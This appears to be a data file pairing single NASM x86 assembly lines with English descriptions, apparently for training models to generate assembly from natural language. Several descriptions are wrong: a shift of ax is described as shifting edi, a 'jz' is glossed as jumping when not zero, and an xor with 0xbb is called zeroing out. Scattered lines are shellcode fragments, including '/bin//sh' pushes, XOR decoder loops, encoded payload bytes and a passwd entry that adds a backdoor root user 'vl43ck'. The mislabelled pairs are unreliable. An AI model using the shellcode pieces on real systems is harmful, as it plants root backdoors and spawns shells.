+push word 0xc005	push the word 0xc005 onto the stack
+push word 0xc005	push the word 0xc005 to the stack
+push word 0xffff	push the word 0xffff onto the stack
+push word 0xffff	push the word 0xffff to the stack
+push word 1 \n mov eax, esp	push the word 1 onto the stack and point eax to the stack register
+push word 10	push the word 10 to the stack
+push word 100	push the word 100 onto the stack
+push word 17 \n mov edx, esp	push the word 17 onto the stack and point edx to the stack register
+push word 2	push 2 onto stack
+push word 2	push the word 2 onto the stack
+push word 2 \n mov ecx, esp	push the word 2 onto the stack and point ecx to the stack register
+push word 21 \n mov ebx, esp	push the word 21 onto the stack and point ebx to the stack register
+push word ax	push the word ax onto the stack
+push word bx	push the word bx onto the stack
+push word bx	push the word bx to the stack
+push word cx	push the word cx onto the stack
+push zero_reg	push the zero_reg onto the stack
+push zero_reg	push zero_reg onto the stack
+push_cmd:	declare push_cmd label
+push_cmd:	declare the push_cmd label
+pushl $0x68732f2f	push $0x68732f2f onto the stack
+pushl $0x6e69622f	push $0x6e69622f onto the stack
+pushw $0x632d	push $0x632d onto the stack
+pushw 0x3905	push the 0x3905 onto the stack
+pushw 0x682d	push the 0x682d onto the stack
+pushw 0x697a	push the 0x697a onto the stack
+re	define label re
+read:	declare the read label
+reading:	declare the reading label
+real_number1 dd 1234	define the doubleword variable real_number1 and initialize to 1234
+real_number2 dd 123456	define the doubleword variable real_number2 and initialize 123456
+realarray resq 10	reserve an array of ten reals for realarray
+realarray resq 10	reserve array realarray of 10 real numbers
+ret	return
+ret	return the address off the stack and returns control to that location
+ret	return to caller
+ret	return to our program
+ret	return to the address on the top of the stack
+ret	return to where the function was called
+retry:	declare retry label
+rol byte [esi], 0x1	left rotate the byte in esi 1 time
+rol byte [esi], 0x2	left rotate the byte at the address esi by 0x2 bits
+rol byte [esi], 0x2	left rotate the byte in esi 2 times
+rol byte [esi], 4	rotate 4 bits left the byte starting at the address esi
+rol edi, 1	left rotate the contents of the edi register by 1 bit
+rol edi, 1	left rotate the edi register 1 time
+rol edx, 0x4	left rotate the contents of the edx register by 0x4 bits
+rol edx, 0x4	left rotate the edx register 4 times
+ror byte [esi], 0x1	right rotate the byte in esi 1 time
+ror esi, 1	right rotate esi 1 time
+ror esi, 1	right rotate the contents of the esi register by 1 bit
+rotate:	declare the rotate label
+sar eax, 23	right shift the contents of eax by 23 bits
+sar eax, 31	right shift the contents of eax by 31 bits
+sar ebx, 31	right shift the contents of ebx by 31 bits
+sar ecx, 2	right shift the value of register ecx by 2 bits
+sar edx, 4	right shift the value of register edx by 4 bits
+scasd	compare eax with doubleword at edi and set status flags
+scasd	compare the contents of the eax register with doubleword at edi and set status flags
+scasd	compare the value in eax to the doubleword addressed by edi
+scasd	compare the value in the eax register to the doubleword addressed by the edi register
+scasd \ jnz _end \n jmp edi	jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
+scasd \n jnz _end	jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi
+scasd \n jnz _end \n jmp edi	jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
+scasd \n jnz _start	jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi
+scasd \n jnz _start \n jmp edi	jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
+scasd \n jnz IncAddr	jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi
+scasd \n jnz IncAddr \n jmp edi	jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
+scasd \n l1 IncAddr	jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi
+scasd \n l1 IncAddr \n jmp edi	jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
+section .bss	declare bss section
+section .bss	declare code section .bss
+section .bss	declare section bss
+section .bss	declare section containing uninitialized data
+section .bss	declare the bss section
+section .bss	section bss
+section .data	declare data section
+section .data	declare section .data
+section .data	declare section containing initialized data
+section .data	declare the data section
+section .data	section data
+section .data	section for initialized data
+section .text	declare .text section
+section .text	declare code section
+section .text	declare section containing code
+section .text	declare section text
+section .text	declare text section
+section .text	declare the text section
+section .text	section .text
+section .text	section text
+set_argv:	declare the set_argv label
+set_argv:	define set_argv label
+set_mark:	declare the set_mark label
+set_mark:	define set_mark label
+setup:	declare the setup label
+shell_ret:	declare the shell_ret label
+shell:	declare the shell label
+shellcode:	declare the shellcode label
+shellcode:	define shellcode label
+shellcode: db 'vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash'	define the array of bytes shellcode and initialize it to vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash
+shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23	define shellcode as an array of bytes and initialize it to 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
+shellcodelen equ $-shellcode	define shellcodelen equal to the length of shellcode
+shellcodelen equ $-shellcode	define shellcodelen equal to the length shellcode
+shift_decode:	declare the shift_decode label
+shift_decode:	define shift_decode label
+shl al, 4	left shift the contents of al by 4 bit positions
+shl cx, 1	left shift cx
+shl eax, 1	multiply eax by 2 using left shift
+shl eax, 1	multiply the value of eax by 2
+shl eax, 16	left shift the contents of eax 16 bits
+shl eax, 2	multiply eax by 4 using left shift
+shl eax, 28	left shift the contents of eax register by 28 bit positions
+shl eax, 5	left shift the contents of eax by 5 bit positions
+shl eax,2	left shift eax by two bits
+shl ebx, 1	multiply ebx by 2 using left shift
+shl ebx, 2	multiply ebx by 4 using left shift
+shl ebx, 8	left shift the contents of ebx by 8 bits
+shl ecx, 1	multiply ecx by 2 using left shift
+shl ecx, 2	multiply ecx by 4 using left shift
+shl edi, 0x1	left shift the contents of the edi register by 0x1 bit
+shl edx, 1	multiply edx by 2 using left shift
+shl edx, 2	multiply edx by 4 using left shift
+shl edx, 24	left shift the contents of the edx register by 24 bits
+shl edx, 9	left shift the contents of edx register by 9 bit positions
+shl edx, 9	left shift the contents of the edx register by 9 bits
+shl esi, 0x1	left shift the contents of the esi register by 0x1 bit
+shr [var], 3	right shift by 3 bit positions the contents of var variable
+shr ax, 1	right shift ax by 1 bit
+shr ax, cl	right shift the contents of the edi register by the contents of the cl register
+shr bl, 4	right shift the contents of bl register by 4 bit positions
+shr bl,4	right shift by 4 bits bl
+shr dl, 1	right shift the contents of the dl register by 1 bit
+shr dl, 4	right shift the contents of dl register by 4 bit positions
+shr dl,1	right shift the contents of dl register by 1 bit positions
+shr eax, 1	divide eax by 2 using right shift
+shr eax, 16	right shift the contents of eax register by 16 bit positions
+shr eax, 2	divide eax by 4 using right shift
+shr eax, 24	right shift the contents of the eax register by 24 bit positions
+shr eax, 28	right shift the contents of eax register by 28 bit positions
+shr ebx, 1	divide ebx by 2 using right shift
+shr ebx, 2	divide ebx by 4 using right shift
+shr ebx, cl	right shift the contents of the ebx register by the contents of the cl register
+shr ecx, 1	divide ecx by 2 using right shift
+shr ecx, 2	divide ecx by 4 using right shift
+shr edx, 1	divide edx by 2 using right shift
+shr edx, 16	right shift the contents of the edx register by 16
+shr edx, 2	divide edx by 4 using right shift
+shr edx, byte 16	right shift the contents of the edx register by the byte 16
+shr edx, byte 24	right shift the contents of the edx register by the byte 24
+size: equ 1024	define size to be 1024 bytes large
+size: equ 50000	declare a constant size and set equal to 50000
+stage:	declare the stage label
+stage:	define stage label
+stageaddress:	declare the stageaddress label
+start:	declare the start label
+stc	set carry flag
+str db 'hello',0	declare 6 bytes starting at the address str initialized to the ascii character values for hello and the null byte
+str db 'hey',0	declare 4 bytes starting at the address str initialized to the ascii character values for the string 'hey' and 0 respectively
+string db 'test.txt'	define string as the byte string 'test.txt'
+string: db '/bin/sh'	define string as the byte string '/bin/sh'
+string: db '/etc/passwd'	define string as the byte string '/etc/passwd'
+string: db 'file.txt'	define string as the byte string 'file.txt'
+string: db 'file1.txt'	define string as the byte string 'file1.txt'
+string: db 'prova.txt'	define string as the byte string 'prova.txt'
+string: db 'tmp.txt'	define string as the byte string 'tmp.txt'
+sub [var], esi	subtract the contents of esi from the 32-bit integer stored at memory location var
+sub [var2], esi	subtract the contents of esi from the 32-bit integer stored at memory location var2
+sub al, 0x41	subtract 0x41 from the al register
+sub al, 1 \n jns l1	subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not negative
+sub al, 1 \n jnz l1	subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not zero
+sub al, 88	subtract 88 from the contents of al register and save the result in al
+sub al, 88	subtract 88 from the contents of the al register
+sub al, ah	subtract ah from al
+sub al,0x13	subtract 0x13 from the al register
+sub ax, 13	subtract 13 from ax and save the result into ax
+sub ax, 1564	subtract 1564 from ax and save the result into ax
+sub ax, 1564	subtract 1564 from the contents of ax register and save the result in ax
+sub ax, 1564	subtract 1564 from the contents of the ax register
+sub ax, 1662	subtract 1662 from ax and save the result into ax
+sub ax, 1662	subtract 1662 from the contents of ax register and save the result in ax
+sub ax, 1662	subtract the contents of the ax register by 1662
+sub ax, ax	subtract the contents of ax from the contents of ax
+sub bl, 0x7	subtract 0x7 from bl and save the result into bl
+sub bl, 0x7	subtract 0x7 from the contents in bl and save the result in bl
+sub bl, 3	subtract 3 from the contents of the bl register
+sub bl, 3 \n jnz stage	subtract the value 3 from the contents of the bl register and jump to the stage label if the result is not zero
+sub bl, 4 \n jns l2	subtract the value 4 from the contents of the bl register and jump to the l2 label if the result is not negative
+sub bl, 48	subtract the decimal value 48 from the nl register
+sub bl, al	subtract the contents of al register from the contents of bl register and save the result in bl
+sub bl, byte [esi]	subtract 0x7 from the byte in esi register
+sub bl, cl \n jnz l2	subtract the contents of the cl register from the contents of the al register and jump to the l2 label if the result is not zero
+sub bl,byte [esi]	subtract the byte in esi from the bl register
+sub bx, 1634	subtract 1634 from bx and save the result into bx
+sub bx, 1634	subtract 1634 from the contents of bx register and save the result in bx
+sub bx, 1634	subtract 1634 from the contents of the bx register
+sub bx, 1663	subtract 1663 from bx and save the result into bx
+sub bx, 1663	subtract 1663 from the contents of the bx register
+sub bx, 1663	subtract the contents of bx register by 1663 and save the result in bx
+sub bx, bx	subtract the contents of bx from the contents of bx
+sub bx, dx	subtract the contents of the dx register from the contents of the bx register
+sub byte [buff],20h	subtract 20h from the 8-bit at memory location buff
+sub byte [ebp+ecx],20h	subtract 20h from the 8-bit at memory location ebp+ecx
+sub byte [esi], 0xd	subtract 0xd from the byte at the address esi
+sub byte [esi], 13	subtract 13 from the byte at the address esi
+sub byte [esi], 13	subtract 13 from the byte in esi and save the result in esi
+sub cl, 1	subtract 1 from the contents of the cl register
+sub cl, 1 \n jnz decode	subtract the value 1 from the contents of the cl register and jump to the decode label if the result is not zero
+sub cl, bl \n jns l3	subtract the contents of the bl register from the contents of the cl register and jump to the l3 label if the result is not negative
+sub cl, dl	subtract the contents of dl register from the contents of cl register and save the result in cl
+sub cx, 0x7ff	subtract 0x7ff from the contents in cx and save the result in cx
+sub cx, 0x7ff	subtract 0x7ff from the contents of cx register value and save the result in cx
+sub cx, cx	subtract the contents of cx from the contents of cx
+sub dl, 5 \n jns l4	subtract the value 5 from the contents of the dl register and jump to the l4 label if the result is not negative
+sub dl, al	subtract the contents of al register from the contents of dl register and save the result in dl
+sub dl, al \n jns decode_pr	subtract the contents of the al register from the contents of the dl register and jump to the decode_pr label if the result is not negative
+sub dl, byte [esi]	subtract the byte at the address esi from the contents of the dl register
+sub dx, 15444	subtract 15444 from dx and save the result into dx
+sub dx, 15444	subtract 15444 from the contents of the dx register
+sub dx, bx	subtract the contents of bx from the contents of dx
+sub eax, [esp]	subtract the value of the memory at address esp from eax and store into eax
+sub eax, 0x013ffeff	subtract 0x013ffeff from the contents in eax and save the result in eax
+sub eax, 0x04feca01	subtract 0x04feca01 from the contents in eax and save the result in eax
+sub eax, 0x0efc3532	subtract 0x0efc3532 from the contents in eax and save the result in eax
+sub eax, 0x10	subtract 0x10 from eax
+sub eax, 0x2c3d2dff	subtract 0x2c3d2dff from the contents in eax and save the result in eax
+sub eax, 0x3217d6d2	subtract 0x3217d6d2 from the contents in eax and save the result in eax
+sub eax, 0x3bd04ede	subtract 0x3bd04ede from the contents in eax and save the result in eax
+sub eax, 0x70445eaf	subtract 0x70445eaf from the contents in eax and save the result in eax
+sub eax, 216	subtract 216 from the value stored in eax
+sub eax, 3	decrease eax by 3
+sub eax, 3e716230	subtract 3e716230 from the contents of the eax register
+sub eax, 5d455523	subtract 5d455523 from the contents of the eax register
+sub eax, 5e5d7722	subtract 5e5d7722 from the contents of the eax register
+sub eax, 8	subtract 8 from the contents of eax register and save the result in eax
+sub eax, 8	subtract 8 from the contents of the eax register
+sub eax, eax	subtract the contents of eax from the contents of eax
+sub eax, ebx	subtract ebx from eax
+sub eax, ebx	subtract the address in ebx from the address in eax
+sub eax,20000h	subtract 20000h from eax register
+sub ebx, 0x2e2aa163	subtract 0x2e2aa163 from ebx and save the result into ebx
+sub ebx, 0x2e2aa163	subtract 0x2e2aa163 from the contents in ebx and save the result in ebx
+sub ebx, 2	decrease ebx by 2
+sub ebx, byte 3	subtract the byte 3 from the contents of the ebx register
+sub ebx, byte 3	subtract the byte value 3 from the contents of ebx and save the result in ebx
+sub ebx, byte 8	subtract the byte 8 from the contents of the ebx register
+sub ebx, byte 8	subtract the byte value 8 from the contents of ebx and save the result in ebx
+sub ecx, 0x04baca01	subtract 0x04baca01 from the contents in ecx and save the result in ecx
+sub ecx, 0x0b454440	subtract 0x0b454440 from the contents in ecx and save the result in ecx
+sub ecx, 0x1525152a	subtract 0x1525152a from the contents in ecx and save the result in ecx
+sub ecx, 0x6374612e	subtract 0x6374612e from the contents in ecx and save the result in ecx
+sub ecx, 1	decrease ecx by 1
+sub ecx, 23	subtract 23 from the contents of the ecx register
+sub ecx, ecx	subtract ecx from ecx and save the result into ecx
+sub ecx, ecx	subtract the contents of ecx from the contents of ecx
+sub ecx, ecx	subtract the contents of the ecx register from the contents of the ecx register
+sub edi, 0x44444444	subtract 0x44444444 from edi and save the result in edi
+sub edi, 0xffffffdf	subtract 0xffffffdf from edi
+sub edi, 1768009314	subtract 1768009314 from the contents of the edi register
+sub edi, 1768009314	subtract 1768009314 from the edi register and save the result in edi
+sub edx, 4	decrease edx by 4
+sub edx, edx	subtract the contents of the edx register from the contents of the edx register
+sub esp, 0x24	subtract 0x24 from the contents in esp and save the result in esp
+sub esp, 0x28	subtract the value 0x28 from the esp register
+sub esp, 12	subtract 12 from esp register and save the result in esp
+sub esp, 12	subtract 12 from the contents of the esp register
+sub esp, 4	allocate memory for a variable
+sub esp, 4	allocate memory for local variables
+sub esp, 4	allocate memory for variable
+sub esp, 4	allocate space on the stack for local variable
+sub esp, 4	make room for one 4-byte local variable
+sub esp, 4	make room on the stack for local variable
+sub esp, 4	make space on stack
+sub esp, 4	subtract the value 4 from the esp register and save the result in esp
+sub esp, 8	subtract 8 from esp and save the result in esp
+sub esp, byte 0x1	subtract the byte 0x1 from the contents of the esp register
+sub esp, byte 0x1	subtract the byte value 0x1 from esp register and save the result in esp
+sys_execve equ 0x0b	define sys_execve equal to 0x0b
+syscall_execve equ 11	define syscall_execve equal to 11
+test al, al	test the value of the al register
+test al, al \n jz found \n inc ecx	jump to the label found if the contents of the al register is zero else increment the contents of the ecx register
+test al, al \n jz found \n inc ecx	if the contents of the al register is zero then jump to the label found else increment the contents of the ecx register
+test ax, ax	perform a bitwise and of the contents of ax and the contents of ax
+test ax, ax \n jnz exeunt \n jmp carryon	jump to the label exeunt if the contents of the ax register is not zero else jump to the label carryon
+test ax, ax \n jnz exeunt \n jmp carryon	if the contents of the ax register is not zero then jump to the label exeunt else jump to the label carryon
+test bl, bl \n jz not_found	jump to the label not_found if the contents of the bl register is not zero
+test bl, bl \n jz not_found	if the contents of the bl register is not zero then jump to the label not_found
+test cl, cl	test the value of cl
+test dl, 0x1 \n jnz ready_to_proxy	jump to the label ready_to_proxy if the contents of the dl register is not zero
+test dl, 0x1 \n jnz ready_to_proxy	if the contents of the dl register is not zero then jump to the label ready_to_proxy
+test eax, eax	perform a bitwise and on the contents of the eax register
+test eax, eax	test the value of eax
+test eax, eax \n jnz _convert	jump to the label _convert if the contents of the eax register is not zero
+test eax, eax \n jnz _convert	if the contents of the eax register is not zero then jump to the label _convert
+test eax, eax \n jnz _parent \n pop ecx	jump to the label _parent if the contents of the eax register is not zero else restore the top of the stack into the ecx register
+test eax, eax \n jnz _parent \n pop ecx	if the contents of the eax register is not zero then jump to the label _parent else restore the top of the stack into the ecx register
+test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6	jump to the label _recv_http_request if the contents of the eax register is not zero else subtract the value 0x6 from the contents of the ecx register
+test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6	if the contents of the eax register is not zero then jump to the label _recv_http_request else subtract the value 0x6 from the contents of the ecx register
+test eax, eax \n jnz checkforfile	jump to the label checkforfile if the contents of the eax register is not zero
+test eax, eax \n jnz checkforfile	if the contents of the eax register is not zero then jump to the label checkforfile
+test eax, eax \n jnz do_next_accept	jump to the label do_next_accept if the contents of the eax register is not zero
+test eax, eax \n jnz do_next_accept	if the contents of the eax register is not zero then jump to the label do_next_accept
+test eax, eax \n jnz exit_on_error	jump to the label exit_on_error if the contents of the eax register is not zero
+test eax, eax \n jnz exit_on_error	if the contents of the eax register is not zero then jump to the label exit_on_error
+test eax, eax \n jnz l1	jump to the label l1 if the contents of the eax register is not zero
+test eax, eax \n jnz l1	if the contents of the eax register is not zero then jump to the label l1
+test eax, eax \n jnz l1 \n call myfunct	jump to the label l1 if the contents of the eax register is not zero else call the function myfunct
+test eax, eax \n jnz l1 \n call myfunct	if the contents of the eax register is not zero then jump to the label l1 else call the function myfunct
+test eax, eax \n jnz l4 \n call search	jump to the label l4 if the contents of the eax register is not zero else call the function search
+test eax, eax \n jnz l4 \n call search	if the contents of the eax register is not zero then jump to the label l4 else call the function search
+test eax, eax \n jnz short _parent	jump short to the label _parent if the contents of the eax register is not zero
+test eax, eax \n jnz short _parent	if the contents of the eax register is not zero then jump short to the label _parent
+test eax, eax \n js _while_loop	jump to the label _while_loop if the contents of the eax register is negative
+test eax, eax \n js _while_loop	if the contents of the eax register is negative then jump to the label _while_loop
+test eax, eax \n js close	jump to the label close if the contents of the eax register is negative
+test eax, eax \n js close	if the contents of the eax register is negative then jump to the label close
+test eax, eax \n js old_dirent	jump to the label old_dirent if the contents of the eax register is negative
+test eax, eax \n js old_dirent	if the contents of the eax register is negative then jump to the label old_dirent
+test eax, eax \n js short socket	jump short to the label socket if the contents of the eax register is negative
+test eax, eax \n js short socket	if the contents of the eax register is negative then jump short to the label socket
+test eax, eax \n jz check_html	jump to the label check_html if the contents of the eax register is zero
+test eax, eax \n jz check_html	if the contents of the eax register is zero then jump to the label check_html
+test eax, eax \n jz check_html \n jmp while	jump to the label check_html if the contents of the eax register is zero else jump to the while label
+test eax, eax \n jz check_html \n jmp while	if the contents of the eax register is zero then jump to the label check_html else jump to the while label
+test eax, eax \n jz close	jump to the label close if the contents of the eax register is zero
+test eax, eax \n jz close	if the contents of the eax register is zero then jump to the label close
+test eax, eax \n jz close \n mov ebx, edx	jump to the label close if the contents of the eax register is zero else move the contents of the edx register into the ebx register
+test eax, eax \n jz close \n mov ebx, edx	if the contents of the eax register is zero then jump to the label close else move the contents of the edx register into the ebx register
+test eax, eax \n jz proc_name	jump to the label proc_name if the contents of the eax register is zero
+test eax, eax \n jz proc_name	if the contents of the eax register is zero then jump to the label proc_name
+test eax, eax \n jz ready_to_proxy	jump to the label ready_to_proxy if the contents of the eax register is zero
+test eax, eax \n jz ready_to_proxy	if the contents of the eax register is zero then jump to the label ready_to_proxy
+test eax, eax \n jz short loc_402B13	jump short to the memory location loc_402B13 if the contents of the eax register is zero
+test eax, eax \n jz short loc_402B13	if the contents of the eax register is zero then jump short to the memory location loc_402B13
+test eax, eax \n jz short loc_402C13	jump short to the memory location loc_402C13 if the contents of the eax register is zero
+test eax, eax \n jz short loc_402C13	if the contents of the eax register is zero then jump short to the memory location loc_402C13
+test eax, eax \n jz socket	jump to the label socket if the contents of the eax register is zero
+test eax, eax \n jz socket	if the contents of the eax register is zero then jump to the label socket
+test eax, eax \n jz socket \n xor eax, eax	jump to the label socket if the contents of the eax register is zero else zero out the contents of the eax register
+test eax, eax \n jz socket \n xor eax, eax	if the contents of the eax register is zero then jump to the label socket else zero out the contents of the eax register
+test eax, eax \n jz write \n xor eax, eax	jump to the label write if the contents of the eax register is zero, else zero out the contents of the eax register
+test eax, eax \n jz write \n xor eax, eax	if the contents of the eax register is zero then jump to the label write else zero out the contents of the eax register
+test ebx, ebx	test the contents of the ebx register
+test ebx, ebx \n js short l1	jump short to the label l1 if the contents of the ebx register is negative
+test ecx, ecx	test the contents of the ecx register
+test edx, edx	test the contents of the edx register
+test si, 01h	perform and operation between si and 01h
+three:	declare the three label
+todo:	declare the todo label
+total_students equ 50	define constant total_students equal to 50
+two:	declare the two label
+two:	define two label
+up:	declare the up label
+var db 32	declare var byte variable and initialize it to 32
+var db 64	declare a byte containing the value 64 at label the memory location var
+var_a db 232	allocate one byte of memory for var_a variable and initialize it to 232
+var_a: dd 0x0	create the doubleword variable var_a in memory and initialize it to zero
+var_b db 'c'	allocate one byte of memory for var_b variable and initialize it to 'c'
+var2 db ?	declare an uninitialized byte labeled var2
+var2 db ?	declare an uninitialized byte referred to as location var2
+variablename1: resb 1	reserve 1 byte for variableName1
+variablename2: resw 1	reserve 1 word for variableName2
+variablename3: resd 1	reserve 1 double word for variableName3
+word_table dw 134, 345, 564, 123	declare the array of words word_table initialized to 134 345 564 and 123
+word_value dw 300	define the word value word_value and initialize it to 300
+word1 word 65535	define word1 unsigned word and initialize it to 65535
+word2 sword –32768	define word2 signed word and initialize it to -32768
+word3 word ?	define word3 uninitialized unsigned word
+wordvar: resw 1	reserve a word for wordvar
+wrap_around:	declare the wrap_around label
+write_syscall equ 4	define write_syscall equal to 4
+write:	declare the write label
+writestring:	declare the writestring label
+writestring:	define writestring function
+x dw ?	declare a word uninitialized value referred to as location x
+x dw ?	declare an uninitialized word labeled x
+xchg [ebp+16], ecx	swap the address [ebp+16] with the contents of the ecx register
+xchg [ebp+16], ecx	swap the contents in ebp+16 and ecx
+xchg eax, ebx	exchange eax with ebx
+xchg eax, ebx	swap the contents of eax and ebx
+xchg eax, ebx	swap the contents of the eax register with the contents of the ebx register
+xchg eax, ecx	swap the contents of the eax register with the contents of the ecx register
+xchg eax, edx	swap the contents of the eax register with the contents of the edx register
+xchg eax, esi	swap the contents of eax and esi
+xchg eax, esi	swap the contents of the eax register with the contents of the esi register
+xchg ebx, eax	exchange the contents of the ebx register with the contents of the eax register
+xchg ebx, eax	swap the contents of the ebx register with the contents of the eax register
+xchg ebx, eax	swap the values of ebx and eax
+xchg ebx, eax	swap the values of ebx and eax registers
+xchg ebx, ecx	exchange ebx with ecx
+xchg ebx, edx	swap the contents of the ebx register with the contents of the edx register
+xchg ebx, esp	swap the contents of the ebx register with the contents of the esp register
+xchg ebx, esp	swap the values of ebx and esp registers
+xchg ecx, edx	exchange ecx with edx
+xchg ecx, edx	swap the contents of the ecx register with the contents of the edx register
+xchg edi, eax	swap the contents of the edi register with the contents of the eax register
+xchg edi, eax	swap the values of edi and eax registers
+xchg edx, eax	exchange edx with eax
+xchg edx, eax	swap the values of edx and eax registers
+xchg edx, ebx	swap the values of edx and ebx registers
+xchg esi, eax	swap the contents of the esi register with the contents of the eax register
+xchg esi, eax	swap the values of esi and eax
+xchg esi, ebx	swap the values of esi and ebx
+xchg esp, esi	swap the values of esp and esi registers
+xchg si, bx	swap the values si ebx and bx registers
+xor [ebx], word __flag_byte	perform xor operation between ebx register and the word __flag_byte and save the result in ebx
+xor [ecx + 116], bh	perform a logical xor between the address speicified by [ecx + 116] and the bh register and save the result in [ecx + 116]
+xor [ecx + 116], bh	perform xor operation between the value stored at the location ecx+116 and bh
+xor [ecx + 116], dh	perform a logical xor between the address speicified by [ecx + 116] and the dh register and save the result in [ecx + 116]
+xor [ecx + 116], dh	perform xor operation between the value stored at the location ecx+116 and dh
+xor [ecx], bh	perform the xor operation between the value stored at the location ecx and bh
+xor [ecx], dh	perform the xor operation between the value stored at the location ecx and dh
+xor ah, ah	clear the ah register
+xor ah, ah	zero out ah register
+xor al, 0e9h	perform a logical xor between the al register and 0e9h and save the result in al
+xor al, 0x30	perform the xor operation between the al register and the value 0x30
+xor al, 0x41	perform the xor operation between the al register and the value 0x41
+xor al, 0x4a	perform the xor operation between the al register and the value 0x4a
+xor ax, 0x3041	perform the xor operation between the ax register and the value 0x3041
+xor ax, 0x4f73	perform the xor operation between the ax register and the value 0x4f73
+xor ax, 0x539	perform a xor operation between ax and 0x539 and save the result in ax
+xor ax, 0x539 \n jz decoded_shellcode	jump to the decoded_shellcode label if the result of the logical xor between the ax register and the value 0x539 is zero
+xor ax, 0x7777	perform the xor operation between the contents of the ax register and the value 0x7777
+xor ax, ax	clear the ax register
+xor ax, ax	zero out ax register
+xor ax, bx	perform a logical xor between the bx register and the ax register and save the result in ax
+xor ax, bx \n jz call_decoded	jump to the call_decoded label if the result of the logical xor between the ax register and the bx register is zero
+xor bl, 0xbb	perform a logical xor between the bl register and 0xbb and save the result in bl
+xor bl, 0xbb	zero out bl register
+xor bl, 0xBB \n jz encoded	jump to the encoded label if the result of the logical xor between the bl register and the value 0xBB is zero
+xor bl, 0xBB \n jz formatting	jump to the formatting label if the result of the logical xor between the bl register and the value 0xBB is zero
+xor bx, bx	initialize bx to 0
+xor bx, bx	clear the bx register
+xor bx,bx	zero out bx register
+xor byte [esi + ecx - 1], 0x3	perform a logical xor between the byte at the address speicified by [esi + ecx - 1] and the bh register and save the result in [esi + ecx - 1]
+xor byte [esi], 0x2c	perform the xor operation between the byte starting at the addess in esi and the value 0x2c
+xor byte [esi], cl	perform a logical xor between the byte at the address specified by [esi] and the cl register and save the result in [esi]
+xor byte [esi], cl	perform a xor operation between a byte in esi and cl
+xor byte [esi+ecx],0x0f	perform the xor operation between the byte at memory location esi+ecx and 0x0f
+xor cl, 0x32	perform the xor operation between cl and 0x32 and store the resut in cl
+xor cl, 0x32 \n jz short EncodedShellcode	jump short to the EncodedShellcode label if the result of the logical xor between the cl register and the value 0x32 is zero
+xor cl, 0xaa	perform a logical xor between the cl register and 0xaa and save the result in cl
+xor cl, 0xaa	perform the xor operation between cl and 0xaa and store the result in cl
+xor cl, 0xAA \n jnz Next_Cycle	jump to the Next_Cycle label if the result of the logical xor between the cl register and the value 0xAA is not zero
+xor cl, 0XAA \n jz shift_decode	jump to the shift_decode label if the result of the logical xor between the cl register and the value 0xAA is zero
+xor dl, 0xbb	perform a logical xor between the dl register and 0xbb and save the result in dl
+xor dl, 0xbb	perform the xor operation between dl and 0xbb and store the result in dl
+xor dl, 0xBB \n jz Next_Cycle	jump to the Next_Cycle label if the result of the logical xor between the dl register and the value 0xBB is zero
+xor eax, [edi]	perform the xor operation between eax register and edi register and store the result in eax
+xor eax, [esi]	perform xor operation between eax register and esi register and store the result in eax
+xor eax, 0x58494741	perform a logical xor between the eax register and 0x58494741 and save the result in eax
+xor eax, 0x58494741	perform the xor operation between eax and 0x58494741 value and store the result in eax
+xor eax, 0x6e696230	perform the xor operation between the eax register and the value 0x6e696230
+xor eax, 0x7575	perform a logical xor operation between eax and 0x7575
+xor eax, 0xffffffff	perform a logical xor between the eax register and 0xffffffff and save the result in eax
+xor eax, eax	initialize eax with decimal value 0
+xor eax, eax	clear the eax register
+xor eax, eax	init eax 0
+xor eax, eax	perform xor operation between eax and eax
+xor eax, eax	reset both lower and uppper bytes of eax to be 0
+xor eax, eax	reset eax
+xor eax, eax	set eax to 0
+xor eax, eax	set the eax register to null
+xor eax, eax	zero out eax
+xor eax, eax	zero out the eax register
+xor eax, eax \n cmp edx, eax \n je l3	zero out the eax register and jump to the l3 label if the contents of the edx register is equal to the contents of the eax register
+xor eax, eax \n cmp edx, eax \n jne l3	zero out the eax register and jump to the l3 label if the contents of the edx register is not equal to the contents of the eax register
+xor eax, eax \n push eax	zero out the eax register and push zero onto the stack
+xor eax, eax \n push eax	push zero onto the stack
+xor eax, eax \n push eax	clear the eax register and push its contents onto the stack
+xor eax, ebx	perform a logical xor between the eax register and the ebx register and save the result in eax
+xor eax, ebx	perform xor operation between eax register and ebx register and store the result in eax
+xor eax, edi	perform a logical xor between the eax register and the edi register and save the result in eax
+xor eax, esi	perform a logical xor between the eax register and the esi register and save the result in eax
+xor ebp, ebp	clear ebp register
+xor ebx, ebp	perform a logical xor between the ebx register and the ebp register and save the result in ebx
+xor ebx, ebx	initialize ebx with 0
+xor ebx, ebx	clear ebx
+xor ebx, ebx	clear ebx register
+xor ebx, ebx	clear the ebx register
+xor ebx, ebx	init ebx 0
+xor ebx, ebx	reset both lower and uppper bytes of ebx to be 0
+xor ebx, ebx	reset ebx to 0
+xor ebx, ebx	set the ebx register to null
+xor ebx, ebx	zero out ebx
+xor ebx, ebx	zero out the ebx register
+xor ebx, ebx \n cmp eax, ebx \n je exit	zero out the ebx register and jump to the exit label if the contents of the eax register is equal to the contents of the ebx register
